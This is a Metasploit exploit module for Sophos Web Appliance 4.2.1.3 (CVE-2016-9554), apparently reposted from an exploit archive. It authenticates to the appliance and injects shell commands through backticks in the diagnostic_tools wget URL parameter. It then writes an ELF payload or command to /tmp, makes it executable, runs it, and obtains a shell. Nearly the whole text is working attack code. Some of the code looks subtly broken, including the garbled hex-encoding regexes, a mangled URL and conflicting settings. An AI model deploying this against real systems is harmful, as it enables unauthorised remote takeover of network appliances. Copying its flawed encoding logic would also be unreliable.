Sophos Web Appliance 4.2.1.3 Remote Command Execution Exploit

# Exploit Title: Sophos Web Appliance diagnostic_tools wget Remote Command Injection Vulnerablity
# Date: 12/12/2016
# Exploit Author: xort @ Critical Start
# Vendor Homepage: www.sophos.com
# Software Link: sophos.com/en-us/products/secure-web-gateway.aspx
# Version: 4.2.1.3
# Tested on: 4.2.1.3
#
# CVE : CVE-2016-9554

# vuln: diagnostic_tools command / host parameter / MgrReport.php exploit

# Description PostAuth Sophos Web App FW <= v4.2.1.3 for capablities. This exploit leverages a command injection bug.
#
# xort @ Critical Start

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Sophos Web Appliace <= v4.2.1.3 remote exploit',
'Description' => %q{
This module exploits a remote command execution vulnerability in
the Sophos Web Appliace Version <= v4.2.1.3. The vulnerability exist in
a section of the machine's adminstrative infertface for performing diagnostic
network test with wget and unsanitized unser supplied information.
},
'Author' =>
[
'[email protected] Start', # vuln + metasploit module
],
'Version' => '$Revision: 1 $',
'References' =>
[
[ 'none', 'none'],
],
'Platform' => [ 'linux'],
'Privileged' => true,
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell' ],
'Privileged' => false,

'Payload' =>
{
'Compat' =>
{
'ConnectionType' => 'find',
}
},

'Targets' =>
[
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 0))

register_options(
[
OptString.new('PASSWORD', [ false, 'Device password', "" ]),
OptString.new('USERNAME', [ true, 'Device password', "admin" ]),
OptString.new('CMD', [ false, 'Command to execute', "" ]),
Opt::RPORT(443),
], self.class)
end

def do_login(username, password_clear)
vprint_status( "Logging into machine with credentials...\n" )

# vars
timeout = 1550;
style_key = Rex::Text.rand_text_hex(32)

# send request
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/index.php",
'vars_get' => {
'c' => 'login',
},
'vars_post' =>
{

'STYLE' => style_key,
'destination' => '',
'section' => '',
'username' => username,
'password' => password_clear,
}
}, timeout)

return style_key
end

def run_command(username, style_password, cmd)

vprint_status( "Running Command...\n" )

# send request with payload
res = send_request_cgi({
'method' => 'POST',
'vars_post' => {
'action' => 'wget',
'section' => 'configuration',
'STYLE' => style_password ,
'url' => 'htt%3a%2f%2fwww.google.com%2f`'+cmd+'`',
},
'vars_get' => {
'c' => 'diagnostic_tools',
},
})

end


def exploit
# timeout
timeout = 1550;

# params
password_clear = datastore['PASSWORD']
user = datastore['USERNAME']

# do authentication
style_hash = do_login(user, password_clear)

vprint_status("STATUS hash authenticated: #{style_hash}\n")

# pause to let things run smoothly
sleep(5)

#if no 'CMD' string - add code for root shell
if not datastore['CMD'].nil? and not datastore['CMD'].empty?

cmd = datastore['CMD']

# Encode cmd payload
encoded_cmd = cmd.unpack("H*").join().gsub(/(w)(w)/,'\x12')

# kill stale calls to bdump from previous exploit calls for re-use
run_command(user, style_hash, ("sudo%20/bin/rm%20-f%20/tmp/n%20;printf%20"#{encoded_cmd}"%20>%20/tmp/n;%20chmod%20+rx%20/tmp/n;/tmp/n" ))
else
# Encode payload to ELF file for deployment
elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
encoded_elf = elf.unpack("H*").join().gsub(/(w)(w)/,'\\x12')

# upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload)
run_command(user, style_hash, ("echo%20-e%20#{encoded_elf}>%20/tmp/m;chmod%20%2brx%20/tmp/m;/tmp/m"))

# wait for magic
handler

end


end
# sophox-release
end

#  0day.today [2018-03-06]  #